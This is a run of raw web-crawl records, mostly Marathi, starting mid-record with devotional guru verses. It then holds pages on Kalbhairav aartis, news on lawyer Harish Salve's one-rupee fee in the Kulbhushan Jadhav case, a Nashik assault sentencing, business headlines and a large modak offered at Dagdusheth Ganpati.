अज्ञ जनाचा \nनिंदक हो तुह्मिं निंदा, कीं भर आंगीं भाग्य मदाचा परि मी श्रीगुरुदास सदाचा ॥गु०॥२॥\nविष्णू कृष्ण जगन्नाथाचा हृद्रत हेतु जिवाचा गुरुवर पूजुनि गाइन वाचा ॥गु०॥३॥\nपद १२ वें -\n बाधक दुष्ट बुद्धितें गाळीं ॥ब०॥धृ०॥\nगुरुपदिं मीपण हेंचि कुलक्षण, करिसि गुरुचि उफाळी तारक गुरुवर संकटकाळीं ॥व०॥१॥\nअजुनि तरी सुविचार करुनियां निज भूषण संभालीं, श्रीगुरु जनन मरण भय टाळी ॥व०॥२॥\n जरि लक्षुनि आत्म जिव्हाळीं, पावसि आंगें स्वसुख वनमाळी, विष्णू कृष्णजगन्नाथ सदा ध्यातो गुरुवनमाळी,जरि जन वाजवि नित्य धुमाळी ॥व०॥३॥\nपद १३ वें -\n प्राण्या गोष्टि नव्हे ही खोटी ॥धृ०॥\nगुरूचरणीं अपराधि तया यम, रौरव नरकीं लोटी ॥प०॥१॥\nशरण गुरुच्या चरणिं रिघसि जरि, उद्धरिसी कुळें कोटी ॥प०॥२॥\nश्रवण मनन ज्या गुरुसंगति तो, स्वरुप सुखामृत घोंटी ॥प०॥३॥\nविष्णु कृष्ण जगन्नाथ हृदय, - साक्षी पाठीं पोटीं ॥प०॥४॥\nपद १४ वें -\nकिति तुज शिकवुं भाग्यमंदा नका करुं श्री गुरुंची निंदा ॥धृ०॥\nत्यजा दुःसंग दुष्ट धंदा देव गुरु एकत्वें वंदा ॥कि०॥१॥\nधरुनि गुरु भजनाच्या छंदा पदोपदिं सेविं निजानंदा ॥कि०॥२॥\nविष्णु कृष्ण जगन्नाथ सुख कंदा हृदयिं दृढ स्मरतां हरि बंधा ॥कि०॥३॥\nपद १५ वें -\nकरिं निज उद्धरणा रे उद्धरणा लागुनि श्री गुरुचरणा ॥धृ०॥\nहरहर मी पण खोटें जागृति स्वप्नीं दुःखद मोठें ॥क०॥१॥\nअनुचित हट बा धरिसी खटपट निष्कारण तूं करिसी ॥क०॥२॥\nधन्य धन्य जगिं व्हाया विसरुं नको श्रीगुरुराया ॥क०॥३॥\nश्री गुरु तारक साचा हा मज निश्चय सत्य त्रिवाचा ॥क०॥४॥\nगुरु सुख सेवकचि बरा ॥ विष्णु कृष्ण जगन्नाथ खरा ॥क०॥५॥\nपद १६ वें -\nशोधुनि मूळ पहा रे मूळ पहा उगाचि कां कल कल हा ॥धृ०॥\nसोडुनि दे शत्रु सहा अधिकचि पेटविती जे कलहा ॥शो०॥१॥\nकोण मी कैसा याचें विवरण नेणसि निज उदयाचें ॥शो०॥२॥\n आपण जैसें कनक नगाचें ॥शो०॥३॥\n विष्णु कृष्ण जगन्नाथाचा ॥शो०॥४॥\nपद १७ वें -\nगुरुनीं ऐसी चटक लाविली मोठी स्वयंभ हृदयीं मज देउनि भेटि ऐ०॥धृ०॥\nविसरवि देह घट आपण होय प्रगट बुजुनि द्वैताची वाट आनंदिं लोटि ॥ऐ०॥१॥\nनावडे विषय धन केवळ वाटे वमन होउनि मन उन्मन स्वरूप घोंटि ॥ऐ०॥२॥\nविष्णु गुरु ज्ञानदृष्टी व्यापुनि नुरवि सृष्टि कृष्ण जगन्नाथ गोष्टी न वदे खोटि ॥ऐ०॥३॥\nउगवत्या सूर्याला नमस्कार, मावळत्या का नाही\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00140.warc.wet.gz", "language": "mr", "language_score": 0.5, "bucket": "all"} {"url": "http://www.transliteral.org/keywords/%E0%A4%95%E0%A4%BE%E0%A4%B2%E0%A4%AD%E0%A5%88%E0%A4%B0%E0%A4%B5/word", "date_download": "2018-09-25T17:45:37Z", "digest": "sha1:FEKZX2TU6L33B7O3RGU3XNM4S3BOT5CH", "length": 5540, "nlines": 87, "source_domain": "www.transliteral.org", "title": "Keyword - कालभैरव", "raw_content": "\n’ श्रीदुर्गासप्तशती’ ग्रंथातील कांही मंत्र जीवनातील संकटे दूर करतात काय असे कोणते मंत्र आहेत\nआरती कालभैरवाची - उभा दक्षिण पंथे काळाचा का...\nदेवीदेवतांची काव्यबद्ध स्तुती म्हणजेच आरती.The poem composed in praise of God is Aarti.\nकालभैरव माहात्म्य हे भगवान शंकराचे रूप आहे, तो रक्षणाकर्ता असून, भक्तांना पावणारा आहे\nकाळभैरव हे भगवान शंकराचे रूप आहे, तो रक्षणकर्ता असून, भक्तांना पावणारा आहे.\nकाळभैरव माहात्म्य - अध्याय पहिला\nकाळभैरव माहात्म्य हे भगवान शंकराचे रूप आहे, तो रक्षणकर्ता असून, भक्तांना पावणारा आहे.\nकालभैरव माहात्म्य - अध्याय दुसरा\nकालभैरव माहात्म्य हे भगवान शंकराचे रूप आहे, तो रक्षणाकर्ता असून, भक्तांना पावणारा आहे.\nकालभैरव माहात्म्य - अध्याय तिसरा\nकालभैरव माहात्म्य हे भगवान शंकराचे रूप आहे, तो रक्षणाकर्ता असून, भक्तांना पावणारा आहे.\nकालभैरव माहात्म्य - अध्याय चवथा\nकालभैरव माहात्म्य हे भगवान शंकराचे रूप आहे, तो रक्षणाकर्ता असून, भक्तांना पावणारा आहे.\nकालभैरव माहात्म्य हे भगवान शंकराचे रूप आहे, तो रक्षणाकर्ता असून, भक्तांना पावणारा आहे.कालभैरवाची आरती\nकालभैरव माहात्म्य हे भगवान शंकराचे रूप आहे, तो रक्षणाकर्ता असून, भक्तांना पावणारा आहे.कालभैरवाची आरती\nशंकराला अर्धी प्रदक्षिणा कां घालतात \n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00141.warc.wet.gz", "language": "mr", "language_score": 0.64, "bucket": "all"} {"url": "https://lokmat.news18.com/special-story/harish-salve-took-just-re-1-as-fees-to-defend-kulbhushan-jadav-at-international-court-of-justice-260937.html", "date_download": "2018-09-25T16:50:28Z", "digest": "sha1:XH3YHK4GHXM4WGQID54M25P4CEGKEKGJ", "length": 15217, "nlines": 128, "source_domain": "lokmat.news18.com", "title": "कुलभूषण जाधव प्रकरणाची 1 रुपया फी घेणारे हरीश साळवे यांच्याबद्दल...", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nकुलभूषण जाधव प्रकरणाची 1 रुपया फी घेणारे हरीश साळवे यांच्याबद्दल...\nकुलभूषणसाठी एक रूपया घेतला म्हणून सगळ्यांसाठी हीच फी हरीश साळवे घेत असतील असा गैरसमज करून घेऊ नका.\n18 मे : देशाच्या न्यायव्यवस्थेत मराठी नावं फार कमी दिसतात. टॉपच्या वकिलांमध्ये तर विरळच. पण हरीश साळवे हे नाव सगळी कसरत भरून काढतं.\nहरीश साळवे म्हटलं की ,अगोदर एनकेपी साळवेंचं नाव बहुतांश जणांना आठवतं. एनकेपी साळवे हे काँग्रेसचे मोठे नेते होते आणि स्वतंत्र विदर्भाचे पुरस्कर्ते. आता बीसीसीआयमुळे ज्या पवारांचा सगळीकडे गवगवा असतो, त्याचे एनकेपी साळवेही अध्यक्ष होते. एनकेपी साळवे हे राजकीय नेते होते तर त्यांचा मुलगा हरीश साळवे हे नामवंत वकिल म्हणून आज ओळखले जातात. ते फक्त सुप्रीम कोर्टातच नाही तर वेगवेगळ्या केसेसमध्ये हायकोर्टापासून ते आंतरराष्ट्रीय कोर्टापर्यंत सगळ्या ठिकाणी बाजू मांडत असतात.\nएखादा वकिल किती यशस्वी आहे हे दोन गोष्टींवरून ओळखलं जातं. एक तो केसेस किती जिंकतो आणि दुसरं तो केस लढायला पैसे किती घेतो. हरीश साळवेंनी कुलभूषण जाधवची केस लढवायला केंद्र सरकारकडून दमदार वसुली केल्याची जोरदार चर्चा ट्विटरवर रंगली. पण जाधवच्या केससाठी हरीश साळवेंनी फक्त 1 रूपया फी घेतल्याचं खुद्द परराष्ट्र मंत्री सुषमा स्वराजना स्पष्ट करावं लागलं.\nकुलभूषणसाठी एक रूपया घेतला म्हणून सगळ्यांसाठी हीच फी हरीश साळवे घेत असतील असा गैरसमज करून घेऊ नका. देशप्रेम दाखवण्यासाठी हरीश साळवेंनी 1 रूपया घेतलाय. इतर वेळेस ते फक्त बड्या केसेसच घेतात आणि त्यात ते प्रत्येक तासाला काही लाख तर एका दिवसासासाठी पंचवीस ते 30 लाख रूपये घेत असल्याची चर्चा आहे. त्यामुळेच त्यांच्या फीवरून कळून जाईल की साळवे हे किती मौल्यवान वकिल आहेत.\nआता थोडसं हरीश साळवेंनी लढवलेल्या केसेस बघा. देशातल्या बड्या उद्योगपतींपासून ते अनेक राजकीय कांडांपर्यंत साळवेंनी केसेस लढवलेल्या आहेत. त्यात व्होडाफोनच्या टॅक्स केसपासून ते टाटांसाठी ते कोर्टात उभे राहिले. भारताचे सॉलीसीटर जनरल म्हणूनही हरीश साळवेंनी काम पाहिलंय. नागपूरमध्ये त्यांचं घर आहे. धुळ्याशीही त्यांचा संबंध आहे.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nजम्मू- काश्मीरची स्थिती खराब, अजून एका सर्जिकल स्ट्राइकची आवश्यकता- लष्कर प्रमुख\nगुन्ह्यांचे खटले असलेल्या नेत्यांना अपात्र ठरवण्यास सुप्रीम कोर्टाचा नकार\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00141.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.esakal.com/uttar-maharashtra/case-assault-accused-has-been-punished-servitude-115180", "date_download": "2018-09-25T17:43:08Z", "digest": "sha1:2FUTOSR5TNRJ5BHOUPPMS7MCSXHMB7YS", "length": 12776, "nlines": 174, "source_domain": "www.esakal.com", "title": "In the case of assault the accused has been punished of servitude मारहाणप्रकरणी आरोपीला वर्षाची सक्तमजुरी | eSakal", "raw_content": "\nमारहाणप्रकरणी आरोपीला वर्षाची सक्तमजुरी\nबुधवार, 9 मे 2018\nआरोपी राजाराम नामदेव रानडे (50, रा. वांगणी, ता. पेठ, जि. नाशिक) यास प्रमुख जिल्हा व सत्र न्यायालयाने 1 वर्षाची सक्तमजुरी व 1 हजार रुपये दंडाची शिक्षा ठोठावली.\nनाशिक - जुन्या वादाची कुरापत काढून मध्यरात्रीच्या सुमारास झोपेत असलेल्या इसमाला कुऱ्हाडीने मारहाण केल्याप्रकरणी आरोपी राजाराम नामदेव रानडे (50, रा. वांगणी, ता. पेठ, जि. नाशिक) यास प्रमुख जिल्हा व सत्र न्यायालयाने 1 वर्षाची सक्तमजुरी व 1 हजार रुपये दंडाची शिक्षा ठोठावली. दंड न भरल्यास सहा महिन्यांच्या कारावासाची शिक्षा सुनावली.\nसदरची घटना 30 ऑक्‍टोबर 2016 रोजी पहाटे 3 वाजेच्या सुमारास वांगणी (ता. पेठ) येथे घडली होती. चिंतामण गोविंद हिरकुडे (रा. वांगणी) यांच्या फिर्यादीनुसार, त्यांचे वडील गोविंद लक्ष्मण हिरकुडे हे घराबाहेर ओसरीमध्ये झोपलेले असताना, संशयित राजाराम रानडे याने जुन्या भांडणाची कुरापत काढून गोविंद हिरकुडे यांना अंथरुणासह बाहेर ओढत नेले. त्यानंतर त्याने कुऱ्हाडीने त्यांच्यावर वार करून जखमी केले होते. याप्रकरणी पेठ पोलिसात भादंवि 307, 326 अन्वये गुन्हा दाखल करण्यात आला होता.\nयाप्रकरणी प्रमुख जिल्हा व सत्र न्यायधीश सूर्यकांत शिंदे यांच्यासमोर खटल्याचे कामकाज चालले. सरकारी पक्षातर्फे वकील शिरीष कडवे यांनी 10 साक्षीदार तपासले असता, त्यानुसार आरोपी राजाराम रानडे याच्या विरोधातील गुन्हा साबीत झाला. यावेळी न्यायधीश सूर्यकांत शिंदे यांच्याकडे आरोपी रानडे याने, आपणास 7 मुले असल्याचे सांगत द्या याचना केली. त्याची दखल घेत, न्या. शिंदे यांनी त्यास 1 वर्षांची सक्तमजुरी व 1 हजार रुपये दंडाची शिक्षा ठोठावली. दंड न भरल्यास सहा महिन्याच्या कारावासाची शिक्षा सुनावली.\nआपण एका क्लिकवर ताजे अपडेट्स आपल्या मोबाईलमध्येही मिळवू शकता.\n'ई सकाळ'चे अॅप डाउनलोड करण्यासाठी क्लिक करा.\nशेतीविषयीची अपडेट असलेले 'अॅग्रोवन' अॅप डाउनलोड करण्यासाठी ​क्लिक करा.\nराजकारणाची प्रत्येक घडामोड कळविणारे 'सरकारनामा' अॅप डाउनलोड करण्यासाठी क्लिक करा.\nवीरप्पनच्या 9 साथीदारांची मुक्तता\nइरोड (तमिळनाडू)- दिवंगत कन्नड सुपरस्टार राजकुमार यांचे अपहरण केलेला चंदन तस्कर वीरप्पन याच्या नऊ साथीदारांची न्यायाधीशांनी सबळ पुराव्याअभावी मंगळवारी...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nत्या दोन रुग्णांचा मृत्यू स्वाईन फ्ल्यूमुळे नाहीच...\nपणजी : काही दिवसांपूर्वीच मडगावमध्ये आणि गोवा वैद्यकीय महाविद्यालय, बाबोळी येथे दोन रुग्ण दगावले. हे दोन्ही रुग्ण स्वाईन फ्ल्यूमुळे नाही तर हृदयाच्या...\nडिजे वाजविल्याप्रकरणी भोकरमध्ये 20 जणांवर गुन्हे\nनांदेड : गणरायाला निरोप देणाऱ्या अतिउत्साही गणेशमंडळांवर डीजे वाजविल्याप्रकरणी भोकर ठाण्यात गुन्हे दाखल करण्यात आले. तेलंगणातील डीजे चालक व...\n'तीन मूर्ती भवन रिकामं करा'\nनवी दिल्ली- जवाहरलाल नेहरू मेमोरियल फंड ही संस्था 1967 पासून दिल्लीतल्या तीन मूर्ती भवनमध्ये आहे. या संस्थेला तीन मूर्ती भवनातील जागा रिकामी करण्याची...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00142.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/business/page/40", "date_download": "2018-09-25T17:14:47Z", "digest": "sha1:QYBOG2NFGLOAXERV367PPHHLKIPKNALZ", "length": 9283, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "उद्योग Archives - Page 40 of 294 - तरुण भारत | तरुण भारत", "raw_content": "\nनॅनो कार बंद होणार \nवृत्तसंस्था /नवी दिल्ली : सर्वसामान्यांना परवडणारी सर्वात स्वस्त कार म्हणून जाहिरात झालेल्या आणि टाटा उद्योगसमूहाने बनवलेल्या नॅनो कारचे उत्पादन बंद होणार का असा प्रश्न उद्योग क्षेत्राला आता पडला आहे. टाटाकडून गुजरातच्या कारखान्यात मागील महिन्यात एकच कार तयार केली आहे. परंतु कंपनीकडून नॅनो कारचे उत्पादन बंद करण्यासंदर्भातील काहीही माहिती अजून देण्यात आलेली नाही. रतन टाटानी नॅनो कार लाँच करताना सर्वसामान्याचे ...Full Article\nसुपरफास्ट नेटसाठी जिओचा नवा अवतार\nवृत्तसंस्था /नवी दिल्ली : रिलायन्स इंडस्ट्रीजची 41 वी सर्वसाधारण वार्षिक सभा आयोजित करण्यात आली होती. या सभेमध्ये जिओगिगा फायबर ब्राडबॅन्ड आणि जिओफोन 2 या दोन योजनांच्या लाँचिंगची घोषणा मुकेश ...Full Article\nप्रभुदास लिलाधरतर्फे ग्राहकांसाठी शेअर ट्रेडींगकरिता पीएल मोबाईल ऍप\nवृत्तसंस्था /मुंबई : भारतातील आघाडीची शेअर ब्रोकींग फर्म असलेल्या प्रभुदास लिलाधरने (पीएल) आपल्या ग्राहकांसाठी मोबाईलधारे शेअर आणि करन्सी ट्रेडिंगसाठी पीएल मोबाईल ऍपची सुविधा उपलब्ध केली आहे. पीएलच्या या अत्याधुनिक ...Full Article\nएलआयसी 26 हजार कोटीची गुंतवणूक आयआरएफसीमध्ये करण्याची शक्यता\nवृत्तसंस्था /मुंबई : विमा क्षेत्रात कार्यरत असणारी एलआयसी कंपनी चालू आर्थिक वर्षांत भारतीय रेल्वे फायनान्स कॉर्पेरेशन (आयआरएफसी) मध्ये 26 हजार कोटींपर्यंत गुंतवणूक करणार असल्याची माहिती देण्यात आली आहे. आयआरएफसी ...Full Article\nवाढीव हमीभावाने कृषीसंबधित समभागात तेजी\nबीएसईचा सेन्सेक्स 267, एनएसईचा निफ्टी 70 अंकाने मजबूत वृत्तसंस्था/ मुंबई केंद्र सरकारने खरिप पिकांच्या हमीभावात वाढ केल्याची घोषणा केल्यानंतर बँक आणि वाहन कंपन्यांच्या समभागात चांगलीच तेजी आली. खरेदी झाल्याने ...Full Article\nवनप्लस 6चा स्पर्धक बाजारात\nवृत्तसंस्था/ नवी दिल्ली असुस कंपनीने झेनफोन 5झेड हा स्मार्टफोन भारतीय बाजारात उतरविला आहे. वनप्लस 6 सारख्या प्रिमियम स्मार्टफोनला हा टक्कर देईल असे सांगण्यात येते. भारतीय बाजारपेठेत तीन प्रकारात हा ...Full Article\n70 हजार कोटीचा प्राप्तिकर रिफंड जमा\nनवी दिल्ली जून अखेरपर्यंत महामंडळाकडे असणारे सर्व प्राप्तिकर रिटर्नचे दावे पूर्ण करण्यात आले आहेत. प्राप्तिकर विभागाने 70 हजार कोटी रुपयांचा रिटर्न करदात्यांकडे जमा केला आहे, असे केंद्रीय प्रत्यक्ष कर ...Full Article\nकच्च्या तेलाच्या दराने अर्थव्यवस्थेला धोका\nवृत्तसंस्था/ मुंबई गेल्या काही महिन्यात खनिज तेलाच्या किमती वाढत असल्याने त्याचा सर्वाधिक फटका भारतीय अर्थव्यवस्थेला बसणार आहे असे अनेक भारतीय आणि विदेशी गुंतवणूकदारांचे मत आहे, असे मूडीज इन्व्हेस्टर्स सर्व्हिसने ...Full Article\nजीडीपीत सार्वजनिक वाय-फायचा हिस्सा 20 अब्ज डॉलर्स\n2019 पर्यंत उपभोक्त्यांच्या संख्येत वेगाने वाढ वृत्तसंस्था/ नवी दिल्ली 2019 पर्यंत देशातील सार्वजनिक वाय-फाय सेवेचा लाभ घेणाऱयांची संख्या 4 कोटीने वाढेल. प्रतिवर्षी 10 कोटी लोक हॅन्डसेट आणि मोबाईल ब्रॉडबॅन्ड ...Full Article\nअसुरक्षित बँक कर्जात चार पट वाढ\nवृत्तसंस्था/ नवी दिल्ली मागील तीन वर्षांत बँक क्रेडिटच्या तुलनेत असुरक्षितपणे कर्ज देण्याच्या प्रमाणात चार पटीने वाढ नोंदविण्यात आली. कमी व्याज दर, तंत्रज्ञानाचा अभाव आणि खर्चात तारतम्याचा अभाव ही प्रमुख ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00142.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%A6%E0%A4%97%E0%A4%A1%E0%A5%82%E0%A4%B6%E0%A5%87%E0%A4%A0-%E0%A4%97%E0%A4%A3%E0%A4%AA%E0%A4%A4%E0%A5%80%E0%A4%B2%E0%A4%BE-%E0%A5%A7%E0%A5%A8%E0%A5%AC-%E0%A4%95%E0%A4%BF%E0%A4%B2%E0%A5%8B/", "date_download": "2018-09-25T17:59:55Z", "digest": "sha1:JBAK2ABRRGNEHBZ2PURSL47OST5VO52M", "length": 6166, "nlines": 70, "source_domain": "pclive7.com", "title": "दगडूशेठ गणपतीला १२६ किलो माव्याच्या मोदकाचा नैवेद्य | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पुणे दगडूशेठ गणपतीला १२६ किलो माव्याच्या मोदकाचा नैवेद्य\nदगडूशेठ गणपतीला १२६ किलो माव्याच्या मोदकाचा नैवेद्य\nपुणे (Pclive7.com):- श्रीमंत दगडूशेठ हलवाई सार्वजनिक गणपती ट्रस्टला यंदा १२६ वर्ष पूर्ण होत आहेत. त्या निमित्ताने एका भाविकाने तब्बल १२६ किलो माव्याचा मोदक बाप्पाला अर्पण करण्यासाठी बनवून घेतल्याचे समोर आले आहे. काका हलवाईचे युवराज गाडवे यांनी हा मोदक साकारला आहे.\nश्रीमंत दगडूशेठ हलवाई सार्वजनिक गणपती ट्रस्टतर्फे यंदा तामिळनाडू राज्यातील तंजावर येथील श्री राजराजेश्वर मंदिराची प्रतिकृती साकारण्यात आली आहे. या मोदकासह मिठाई आणि नमकीन पदार्थांचा नैवेद्द आज (शुक्रवारी) दाखविण्यात येणार आहे. माव्याच्या या मोदकावर काजू, बेदाणे आणि बदामाची कलाकुसर केलेली आहे. सध्या हा मोदक बुधवार पेठेतील ‘काका हलवाई’ दुकानात ठेवण्यात आला असून हा मोदक पाहण्यासाठी नागरिकांनी मोठी गर्दी केली आहे.\nश्रीमंत दगडूशेठ गणपतीसमोर अथर्वशीर्षातून २५ हजार महिलांचा स्त्रीशक्तीचा जागर\nकासारवाडीत महापौरांच्या हस्ते विसर्जन घाटाचे उद्घाटन\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nपिंपरी चिंचवडमधल्या तरूणाने गॅरेजमध्ये तयार केले चक्क ‘हेलिकॉप्टर’\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00143.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://pclive7.com/tag/%E0%A4%85%E0%A4%95%E0%A5%8D%E0%A4%B7%E0%A4%AF-%E0%A4%98%E0%A4%BE%E0%A4%A3%E0%A5%87%E0%A4%95%E0%A4%B0/", "date_download": "2018-09-25T17:58:28Z", "digest": "sha1:MIKUSXDH4Z346DSMN2ABCXD6RJFS7A77", "length": 3487, "nlines": 48, "source_domain": "pclive7.com", "title": "अक्षय घाणेकर | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त 